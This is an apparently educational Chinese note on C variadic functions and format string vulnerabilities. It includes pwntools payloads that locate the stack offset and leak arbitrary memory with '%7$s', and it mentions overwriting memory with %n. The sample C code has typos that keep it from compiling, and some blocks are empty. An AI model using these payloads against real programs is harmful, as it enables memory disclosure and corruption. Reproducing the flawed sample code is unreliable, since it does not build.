Format string
前置知识:可变参数函数
处理可变参数函数的头文件:stdarg.h
核心组件:
- 类型定义
va_list- 作用:保存可变参数信息的上下文对象(本质是指向参数栈的指针)
- 用法:
1va_list args; //声明参数变量列表 - 宏函数
- va_start
- 作用:初始化va_list,使其指向第一个可变参数
- 访问参数前必须调用
- va_arg
- 作用:获取当前参数的值(返回值),并且移动至下一个参数
- va_end
- 作用:清理va_list资源
- 访问结束后必须调用
- va_copy(C99新增)
- 作用:复制va_list的当前状态
- 用于嵌套访问
- va_start
- 示例代码:
- 实现自定义的printf函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37#include<stdarg.h> void my_printf(const char* format, ...) { va_lists arg; va_start(arg, format); while(*format) { if(*format == '%') { format++; switch(*format) { case'd': { int num = va_arg(arg, int); print_int(num); break; } case's': { char* str = vaarg(arg, char*); print_str(str); break; } } } else { putchar(*format); } format++; } va_end(arg); }- 实现多加数加法
1 2 3 4 5 6 7 8 9 10 11 12 13 14#incclude<stdarg.h> int add_multiple_values(int argcount, ...) { int counter, res = 0; va_list arg; va_start(arg, argcount); for(counter=0; counter<argcount, counter++) { res += va_arg(arg. int); } va_end(arg); return res; }
格式化字符串漏洞
核心原理
- 格式化输出的栈上分布
- 示例
- 代码
1printf("Color %s, Number %d, Float %4.2f", "red", 123456, 3.14);- 栈示意图
- 示例
泄露内存
- 核心思想: printf是依次打印栈上的数据,即可以通过printf("%x")直接打印栈上内容
泄露栈内存
以以下程序为例:
|
|
编译运行后有
|
|
打印出了栈上后续三个字的值
泄露任意地址内存
- 核心思想:利用%s访问的是栈上地址,将想要访问的地址写入栈上特定位置,然后使用%s访问输出
- 详细操作步骤
- Step1:确定偏移量(参数位置)
输出示例1 2payload = b"AAAA.%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p" io.sendline(payload)观察到AAAA的十六进制值0x41414141出现在第7个位置。这个偏移量用于后面指定printf访问的参数位置1AAAA.0xffffd09c.0x100.0x80491fe.0xffffd144.0xf7fbe780.0xf7d93374.0x41414141- Step2:构造地址载荷
1 2target_addr = 0x804c02c # 要泄露的地址 payload = p32(target_addr) # 打包为小端序- Step3:指定读取位置
1payload += b"%7$s" #使用步骤1确定的偏移量- Step4:选择读取方式
- Step5:发送并解析数据
1 2 3 4 5 6 7 8 9 10# 发送完整payload payload = p32(target_addr) + b"%7$s" io.sendline(payload) # 接收输出 output = io.recvuntil(b"done") # 根据程序输出调整 # 解析泄露数据 leak_start = output.find(p32(target_addr)) + 4 # 跳过地址本身 leaked_data = output[leak_start:-10] # 去除尾部"id is...done"- Step6:清理输出
1 2 3 4 5 6 7 8 9 10 11 12# 接收并清理输出 io.recvuntil(b"Address of id is 0x") # 跳过提示 addr_str = io.recvline().strip() # 获取地址(可选) io.recvuntil(b"you typed: ") # 跳过输入回显 # 接收实际泄露数据 leaked = io.recvuntil(b"\n", drop=True) # 处理二进制地址 if leaked.startswith(p32(target_addr)): leaked = leaked[4:] # 移除开头的地址副本
覆盖内存
- 核心思想:利用%n
|
|
- 通用操作:构造特定长度的填充,将目标内容,即填充部分长度,写入目标地址。具体操作与泄露类似。